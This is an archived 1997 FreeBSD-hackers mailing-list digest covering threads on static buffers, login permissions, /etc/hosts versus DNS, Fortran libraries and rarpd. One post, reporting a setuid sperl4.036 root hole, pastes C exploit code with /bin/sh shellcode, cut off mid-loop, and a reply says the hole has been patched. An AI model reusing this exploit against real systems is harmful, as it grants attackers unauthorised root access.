(ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id AAA26873; Mon, 15 Sep 1997 00:22:51 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id AAA14204; Mon, 15 Sep 1997 00:23:10 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Mon, 15 Sep 1997 00:23:09 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: Tim Vanderhoek To: Mikael Karpberg cc: Terry Lambert , hackers@FreeBSD.ORG Subject: Re: Memory leak in getservbyXXX? In-Reply-To: <199709150337.FAA01640@ocean.campus.luth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, Mikael Karpberg wrote: > [Example showing that you should not use "static" in MT programs. Obvious.] I think he meant, "wouldn't it be nice if I could do" signal_handler () { ... pcopy = not_static_copy ("string", global_buffer_i_happen_to_keep_always_lying_around_especially_\ for_use_in_my_signal_handlers); ... } Or maybe he meant, "wouldn't it be nice if I could do" printf ("%s%s", unstatic ("ab", buf1), unstatic ("bb", buf2)); Of course, if I happen to pass NULL as the buffer, then it will use its own static buffer. -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sun Sep 14 21:23:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA26786 for hackers-outgoing; Sun, 14 Sep 1997 21:23:20 -0700 (PDT) Received: from bunyip.cc.uq.edu.au (root@bunyip.cc.uq.edu.au [130.102.2.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA26740 for ; Sun, 14 Sep 1997 21:23:04 -0700 (PDT) Received: (from daemon@localhost) by bunyip.cc.uq.edu.au (8.8.7/8.8.7) id NAA13138 for freebsd-hackers@freebsd.org; Mon, 15 Sep 1997 13:59:29 +1000 Received: from localhost.dtir.qld.gov.au by ogre.dtir.qld.gov.au (8.7.5/DEVETIR-E0.3a) with SMTP id NAA04616; Mon, 15 Sep 1997 13:58:22 +1000 (EST) Message-Id: <199709150358.NAA04616@ogre.dtir.qld.gov.au> To: freebsd-hackers@freebsd.org cc: syssgm@dtir.qld.gov.au Subject: Re: Here's an interesting bug in our utmp handling. References: <199709150200.DAA28083@awfulhak.demon.co.uk> In-Reply-To: <199709150200.DAA28083@awfulhak.demon.co.uk> from Brian Somers at "Mon, 15 Sep 1997 02:00:31 +0000" Date: Mon, 15 Sep 1997 13:58:22 +1000 From: Stephen McKay Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Monday, 15th September 1997, Brian Somers wrote: >> I don't understand why login should ever be called interactively. We >> have su for that. > >Perhaps 0500 permissions are in order. If I recall correctly, that was the concensus of opinion last time I heard this discussed... back in 1986, I believe. Is there any reason why a non-root process should invoke login? I can't think of any. Stephen. From owner-freebsd-hackers Sun Sep 14 21:35:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA27641 for hackers-outgoing; Sun, 14 Sep 1997 21:35:21 -0700 (PDT) Received: from brickbat9.mindspring.com (brickbat9.mindspring.com [207.69.200.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA27636 for ; Sun, 14 Sep 1997 21:35:16 -0700 (PDT) Received: from bogus.mindspring.com (user-37kbn38.dialup.mindspring.com [207.69.220.104]) by brickbat9.mindspring.com (8.8.5/8.8.5) with SMTP id AAA21624; Mon, 15 Sep 1997 00:35:05 -0400 (EDT) Message-Id: <1.5.4.32.19970915043359.00faa990@mail.mindspring.com> X-Sender: kpneal@mail.mindspring.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 15 Sep 1997 00:33:59 -0400 To: Greg Lehey From: "Kevin P. Neal" Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 11:42 AM 9/15/97 +0930, Greg Lehey wrote: >I haven't been following this thread too closely, but I still claim >that /etc/hosts is just plain obsolete. If anybody can give me any >reasons for using /etc/hosts, I'm sure I can refute them. How about: You are running a very small network (less than 10 machines) and are sometimes connected to the Internet. You don't want to set up a nameserver. You _do_ want these machines to have names. You don't have names for them on the Internet. Furthermore, you don't want to have to diddle /etc/resolve.conf apon ppp-up and ppp-down to point at a different name server. You know exactly what "lookup file bind" does, and it does exactly what you want in this situation. -- XCOMM Kevin P. Neal, Junior, Comp. Sci. - House of Retrocomputing XCOMM mailto:kpneal@pobox.com - http://www.pobox.com/~kpn/ XCOMM kpneal@eos.ncsu.edu Spoken by Keir Finlow-Bates: XCOMM "Good grief, I've just noticed I've typed in a rant. Sorry chaps!" From owner-freebsd-hackers Sun Sep 14 21:37:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA27728 for hackers-outgoing; Sun, 14 Sep 1997 21:37:42 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA27723 for ; Sun, 14 Sep 1997 21:37:37 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id OAA03419; Mon, 15 Sep 1997 14:07:22 +0930 (CST) Message-ID: <19970915140722.43631@lemis.com> Date: Mon, 15 Sep 1997 14:07:22 +0930 From: Greg Lehey To: "Kevin P. Neal" Cc: FreeBSD Hackers Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) References: <1.5.4.32.19970915043359.00faa990@mail.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <1.5.4.32.19970915043359.00faa990@mail.mindspring.com>; from Kevin P. Neal on Mon, Sep 15, 1997 at 12:33:59AM -0400 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 12:33:59AM -0400, Kevin P. Neal wrote: > At 11:42 AM 9/15/97 +0930, Greg Lehey wrote: >> I haven't been following this thread too closely, but I still claim >> that /etc/hosts is just plain obsolete. If anybody can give me any >> reasons for using /etc/hosts, I'm sure I can refute them. > > How about: > > You are running a very small network (less than 10 machines) and are > sometimes connected to the Internet. No. An ideal reason to want to have a name server. > You don't want to set up a nameserver. No fair. We're talking about technical reasons here, not emotional ones. > You _do_ want these machines to have > names. You don't have names for them on the Internet. Furthermore, you don't > want to have to diddle /etc/resolve.conf apon ppp-up and ppp-down to point > at a different name server. If you have a name server, you don't need resolv.conf. > You know exactly what "lookup file bind" does, and it does exactly > what you want in this situation. It keeps your host names consistent across the local net? It caches name server lookups across your slow Internet connection? named is your friend. Greg From owner-freebsd-hackers Sun Sep 14 21:52:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA28396 for hackers-outgoing; Sun, 14 Sep 1997 21:52:43 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA28386 for ; Sun, 14 Sep 1997 21:52:38 -0700 (PDT) Received: from argus.tfs.net (pm3-p12.tfs.net [206.154.183.204]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id WAA14647; Sun, 14 Sep 1997 22:16:20 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id XAA07961; Sun, 14 Sep 1997 23:17:40 -0500 (CDT) From: Jim Bryant Message-Id: <199709150417.XAA07961@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <3.0.3.32.19970914224836.009c1330@cybercom.net> from The Classiest Man Alive at "Sep 14, 97 10:48:36 pm" To: ksmm@cybercom.net (The Classiest Man Alive) Date: Sun, 14 Sep 1997 23:17:38 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > At 09:07 PM 9/14/97 -0500, Jim Bryant wrote: > >as far as us "legions" [sic] of fortran programmers, we haven't had > >any problems because it does build properly via make in either the > >/usr/src/lib or /usr/src/lib/libf2c dirs... we "legions" also > >recognize the lack of STANDARDIZED math facilities in C/C++ for > >dealing with complex numbers, etc... and would like to see fortran of > >course retained. > > The ANSI/ISO standard for C++ specifies a complex number class. And those > vector class templates can be tacked together to make a matrix, and... and of course, i'll use it when the supported code base is large enough... as far as the number of lines of fortran dealing with this stuff: "billions and billions"... > Oh, never mind. Stick with FORTRAN. good advice... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 21:52:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA28403 for hackers-outgoing; Sun, 14 Sep 1997 21:52:45 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA28388 for ; Sun, 14 Sep 1997 21:52:40 -0700 (PDT) Received: from argus.tfs.net (pm3-p12.tfs.net [206.154.183.204]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id WAA14315; Sun, 14 Sep 1997 22:13:18 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id XAA07663; Sun, 14 Sep 1997 23:14:38 -0500 (CDT) From: Jim Bryant Message-Id: <199709150414.XAA07663@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <199709150317.UAA15719@meerkat.mole.org> from "M.R.Murphy" at "Sep 14, 97 08:17:40 pm" To: mrm@Mole.ORG (M.R.Murphy) Date: Sun, 14 Sep 1997 23:14:36 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > From POPmail Sun Sep 14 22:50:06 1997 > Date: Sun, 14 Sep 1997 20:17:40 -0700 > From: "M.R.Murphy" > Message-Id: <199709150317.UAA15719@meerkat.mole.org> > To: gdk@ccomp.inode.COM, jkh@time.cdrom.com > Subject: Re: lib/libF77 and lib/libI77 > Cc: freebsd-hackers@FreeBSD.ORG > Sender: owner-freebsd-hackers@FreeBSD.ORG > X-Loop: FreeBSD.org > Precedence: bulk > X-UIDL: e980089b2dc67f78a9fb465bf2ad5a24 > > > > Yeah, but they're not and that means that they haven't been part of > > the binary distributions, either. So that begs the question: What has > > this mysterious legion of fortran programmers been doing all this > > time? :) > > > > Getting the f2c distribution from netlib because we're deontologists? :-) hmmm... i always used to get it from research, just noticed the README there... do you get this too? 11:11:43pm argus(1): ncftp -Lard 1 netlib.att.com NcFTP 2.4.2 (October 28, 1996), by Mike Gleason, NCEMRSoft. Tip: You can get the newest version of NcFTP from ftp.probe.net, in the /pub/ncftp directory. NcFTP is FREEware! Trying to connect to netlib.att.com... Error: netlib.att.com: Unknown host. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 22:06:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA29124 for hackers-outgoing; Sun, 14 Sep 1997 22:06:18 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA29115 for ; Sun, 14 Sep 1997 22:06:14 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id WAA00239; Sun, 14 Sep 1997 22:05:05 -0700 (PDT) Date: Sun, 14 Sep 1997 22:05:04 -0700 (PDT) From: "Jamil J. Weatherbee" To: Joerg Wunsch cc: hackers@FreeBSD.ORG, Sunthiti Patchararungruang Subject: Re: Need Help about BPF In-Reply-To: <19970913221342.BV60285@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk By the way --- rarpd is broken, occasionally it will not answer rarp requests for no good reason for some diskless workstations i have using rarp (don't worry my freebsd ones are using bootp) and i have to restart it to get it to work. On Sat, 13 Sep 1997, J Wunsch wrote: > As Sunthiti Patchararungruang wrote: > > > Dear Sir, > > Probably many of them here. :) > > > Someone in FreeBsd.org told me that I should use BPF. I rarely > > have the document about it, only have BPF(4) man-page and BPF data in > > ftp.ee.lbl.gov. If you also recommend BPF, please tell me where I can find > > the information about it. > > Well, your problem isn't quite clear to me. Anyway, if you intend to > send some arbitrary packets down to the wire, have a look at the > implementation of rarpd(8) (in /usr/src/usr.sbin/rarpd/), i think it's > doing a similar job. > > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) > From owner-freebsd-hackers Sun Sep 14 22:11:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA29542 for hackers-outgoing; Sun, 14 Sep 1997 22:11:19 -0700 (PDT) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA29532 for ; Sun, 14 Sep 1997 22:11:16 -0700 (PDT) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id BAA18968; Mon, 15 Sep 1997 01:11:06 -0400 (EDT) Date: Mon, 15 Sep 1997 01:11:06 -0400 (EDT) From: Snob Art Genre To: Stephen McKay cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. In-Reply-To: <199709150358.NAA04616@ogre.dtir.qld.gov.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Agree. Not only have I never used it, I've never even heard of anyone using it. Ok, come to think of it, I have used it, but only because I was amazed that I could. :-) On Mon, 15 Sep 1997, Stephen McKay wrote: > >Perhaps 0500 permissions are in order. > > If I recall correctly, that was the concensus of opinion last time I > heard this discussed... back in 1986, I believe. Is there any reason > why a non-root process should invoke login? I can't think of any. > > Stephen. > Ben "You have your mind on computers, it seems." From owner-freebsd-hackers Sun Sep 14 22:14:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA29751 for hackers-outgoing; Sun, 14 Sep 1997 22:14:32 -0700 (PDT) Received: from krusty.the.clown.engelska.se (nonxstnt@not.of.this.world.engelska.se [193.14.46.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA29738 for ; Sun, 14 Sep 1997 22:14:25 -0700 (PDT) Received: from localhost (nonxstnt@localhost) by krusty.the.clown.engelska.se (8.8.7/8.8.7) with SMTP id GAA22324 for ; Mon, 15 Sep 1997 06:30:44 +0200 (CEST) Date: Mon, 15 Sep 1997 06:30:43 +0200 (CEST) From: Existence is Futile To: freebsd-hackers@FreeBSD.org Subject: Why SPERL? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Someone posted a similar message earlier, but I never saw a reply (might have been because the mailserver for this domain is Linux.. hehe). But I just want to bring it to your attention again. Why does even the latest RELENG (that I've used) include sperl4.036? when it's a well known way to get root? it came in handy today when some guy couldn't su because he wasnt in the wheel group and couldn't login as root any other way (being 45 minutes away). But, it's a serious security flaw! Perhaps we shouldn't include sperl4.036? or turn its suid off. I'm not sure if 4.0 is still being maintained, so I dont know if there is a newer version available, but I dont believe it acceptable to purposely leave root holes in. Of course, this may have already been fixed and I'm just blowing hot air all around, but its an old exploit and the august releng's at least include it. /************************************************************/ /* Exploit for FreeBSD sperl4.036 by OVX */ /************************************************************/ #include #include #include #define BUFFER_SIZE 1400 #define OFFSET 600 char *get_esp(void) { asm("movl %esp,%eax"); } char buf[BUFFER_SIZE]; main(int argc, char *argv[]) { int i; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; for(i=0+1;i Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA00160 for hackers-outgoing; Sun, 14 Sep 1997 22:20:03 -0700 (PDT) Received: from mole.mole.org (marmot.mole.org [204.216.57.191]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA00107 for ; Sun, 14 Sep 1997 22:19:58 -0700 (PDT) Received: (from mail@localhost) by mole.mole.org (8.6.12/8.6.12) id FAA08073; Mon, 15 Sep 1997 05:19:42 GMT Received: from meerkat.mole.org(206.197.192.20) by mole.mole.org via smap (V1.3) id sma008071; Mon Sep 15 05:19:32 1997 Received: (from mrm@localhost) by meerkat.mole.org (8.6.11/8.6.9) id WAA16289; Sun, 14 Sep 1997 22:19:31 -0700 Date: Sun, 14 Sep 1997 22:19:31 -0700 From: "M.R.Murphy" Message-Id: <199709150519.WAA16289@meerkat.mole.org> To: grog@lemis.com, kpneal@pobox.com Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > If you have a name server, you don't need resolv.conf. > You do if you're running a split DNS with an unmodified named. Sure named is our friend; it's just not our only friend. -- Mike Murphy mrm@Mole.ORG +1 619 598 5874 Better is the enemy of Good From owner-freebsd-hackers Sun Sep 14 22:34:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA01008 for hackers-outgoing; Sun, 14 Sep 1997 22:34:33 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA00830 for ; Sun, 14 Sep 1997 22:31:20 -0700 (PDT) Received: from word.smith.net.au (lot.atrad.adelaide.edu.au [203.20.121.21]) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) with ESMTP id PAA21837 for ; Mon, 15 Sep 1997 15:00:57 +0930 (CST) Received: from word.smith.net.au (localhost.atrad.adelaide.edu.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id OAA00347; Mon, 15 Sep 1997 14:55:20 +0930 (CST) Message-Id: <199709150525.OAA00347@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Jordan K. Hubbard" cc: Gary Kendall , freebsd-hackers@freebsd.ORG Subject: Re: lib/libF77 and lib/libI77 In-reply-to: Your message of "Sun, 14 Sep 1997 18:11:08 MST." <6806.874285868@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 14:55:19 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.ORG X-Loop: FreeBSD.org Precedence: bulk > > The libf77.a library is the "standard library" that Fortran programs are > > linked against... similar to libc.a for C. I'm not familiar with libIf77.a, > > but suspect it's a variation of the standard for some special feature. At > > any rate, they come with the GNU compiler(s), and probably should be built > > by the Makefiles. > > Yeah, but they're not and that means that they haven't been part of > the binary distributions, either. So that begs the question: What has > this mysterious legion of fortran programmers been doing all this > time? :) They are, but as a single library (libf2c) along with a pile of other stuff. They *have* been part of the binary distribution all along. (Yes, we have several customers using Fortran for data analysis; they didn't like giving up the "comfort features" of the MS Fortran until they realised that they could run more than one program at once. This sold them lock, stock and barrel. 8) mike From owner-freebsd-hackers Sun Sep 14 22:50:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA02089 for hackers-outgoing; Sun, 14 Sep 1997 22:50:36 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA02075 for ; Sun, 14 Sep 1997 22:50:30 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA18715; Mon, 15 Sep 1997 07:50:29 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA04468; Mon, 15 Sep 1997 07:25:27 +0200 (MET DST) Message-ID: <19970915072526.FZ59951@uriah.heep.sax.de> Date: Mon, 15 Sep 1997 07:25:26 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Subject: Re: Need Help about BPF References: <19970913221342.BV60285@uriah.heep.sax.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Jamil J. Weatherbee on Sep 14, 1997 22:05:04 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jamil J. Weatherbee wrote: > By the way --- rarpd is broken, occasionally it will not answer rarp > requests for no good reason for some diskless workstations i have using > rarp (don't worry my freebsd ones are using bootp) and i have to restart > it to get it to work. Since this happens for you, debug it then. Start with -v, and stick perhaps more debug statements into the source until you know why and what it doesn't answer. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 23:09:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03209 for hackers-outgoing; Sun, 14 Sep 1997 23:09:20 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA03204 for ; Sun, 14 Sep 1997 23:09:17 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0xAUGZ-00046H-00; Sun, 14 Sep 1997 23:04:11 -0700 Date: Sun, 14 Sep 1997 23:04:11 -0700 (PDT) From: Tom To: Existence is Futile cc: freebsd-hackers@freebsd.org Subject: Re: Why SPERL? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, Existence is Futile wrote: ... > Why does even the latest RELENG (that I've used) include sperl4.036? when > it's a well known way to get root? it came in handy today when some guy > couldn't su because he wasnt in the wheel group and couldn't login as root > any other way (being 45 minutes away). But, it's a serious security flaw! ... It has been patched for the last month of so now. Tom From owner-freebsd-hackers Sun Sep 14 23:12:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03404 for hackers-outgoing; Sun, 14 Sep 1997 23:12:58 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA03399 for ; Sun, 14 Sep 1997 23:12:52 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 23809 invoked by uid 1001); 15 Sep 1997 06:12:47 +0000 (GMT) To: grog@lemis.com Cc: kpneal@pobox.com, hackers@FreeBSD.ORG Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) In-Reply-To: Your message of "Mon, 15 Sep 1997 14:07:22 +0930" References: <19970915140722.43631@lemis.com> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Mon, 15 Sep 1997 08:12:47 +0200 Message-ID: <23807.874303967@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > If you have a name server, you don't need resolv.conf. > > > You know exactly what "lookup file bind" does, and it does exactly > > what you want in this situation. > > It keeps your host names consistent across the local net? It caches > name server lookups across your slow Internet connection? > > named is your friend. Agreed. But I have a lease line connection to the Internet, I run my own name server, I have a *lot* of experience running name servers, and I *still* find it extremely convenient to have /etc/hosts lookups available. Please don't remove it. My main reasons for using lookups in 'hosts then bind' order are: - Convenience for temporary updates. Sometimes I want to add a name quickly, use it a little bit, and then remove it again. And there is no reason why these names should be available on the Internet. It's quicker to edit /etc/hosts than to edit two zone files and rehup named. - Assigning names to hosts in other parts of the Internet which are not in DNS. These names will of course only be available locally, but that's all I need. - Likewise, it is sometimes convenient to *override* the names of hosts which are already in the DNS but not under my control. As far as I know, all modern Unixes have the possibility of using several different methods for host name lookups. I see no reason why such useful functionality which is already in FreeBSD should be removed. Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Sun Sep 14 23:14:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03494 for hackers-outgoing; Sun, 14 Sep 1997 23:14:47 -0700 (PDT) Received: from brickbat9.mindspring.com (brickbat9.mindspring.com [207.69.200.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03482 for ; Sun, 14 Sep 1997 23:14:43 -0700 (PDT) Received: from bogus.mindspring.com (user-37kbo5i.dialup.mindspring.com [207.69.224.178]) by brickbat9.mindspring.com (8.8.5/8.8.5) with SMTP id CAA14903; Mon, 15 Sep 1997 02:14:32 -0400 (EDT) Message-Id: <1.5.4.32.19970915061326.00fa6c4c@mail.mindspring.com> X-Sender: kpneal@mail.mindspring.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 15 Sep 1997 02:13:26 -0400 To: Greg Lehey From: "Kevin P. Neal" Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) Cc: FreeBSD Hackers Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk At 02:07 PM 9/15/97 +0930, Greg Lehey wrote: >On Mon, Sep 15, 1997 at 12:33:59AM -0400, Kevin P. Neal wrote: >> At 11:42 AM 9/15/97 +0930, Greg Lehey wrote: >>> I haven't been following this thread too closely, but I still claim >>> that /etc/hosts is just plain obsolete. If anybody can give me any >>> reasons for using /etc/hosts, I'm sure I can refute them. >> >> How about: >> >> You are running a very small network (less than 10 machines) and are >> sometimes connected to the Internet. > >No. An ideal reason to want to have a name server. Why? It's overkill. >> You don't want to set up a nameserver. > >No fair. We're talking about technical reasons here, not emotional ones. It's not an emotional argument, it's a logistical argument. I have a test in my Physics class at 7pm tomorrow (Monday). I have class during the day. I need to be asking questions all day to help me be ready for my test. I have a programming assignment due Wednesday in my CSC 451 class (OS) that I'm expecting to have to spend 8-12 hours on. I have another program due in my data structures class due a week from Wednesday. I have to go to work as well. Plus I have more homework due and more on the way. My X terminal broke yesterday and I need to fix it (a Sun 3/60 dual-headed). Next week won't be much better. You wanna set up a nameserver for me? I can arrange a time for my box to be on the air, my hostname is kpneal.users.mindspring.com (when I'm up). >> You _do_ want these machines to have >> names. You don't have names for them on the Internet. Furthermore, you don't >> want to have to diddle /etc/resolve.conf apon ppp-up and 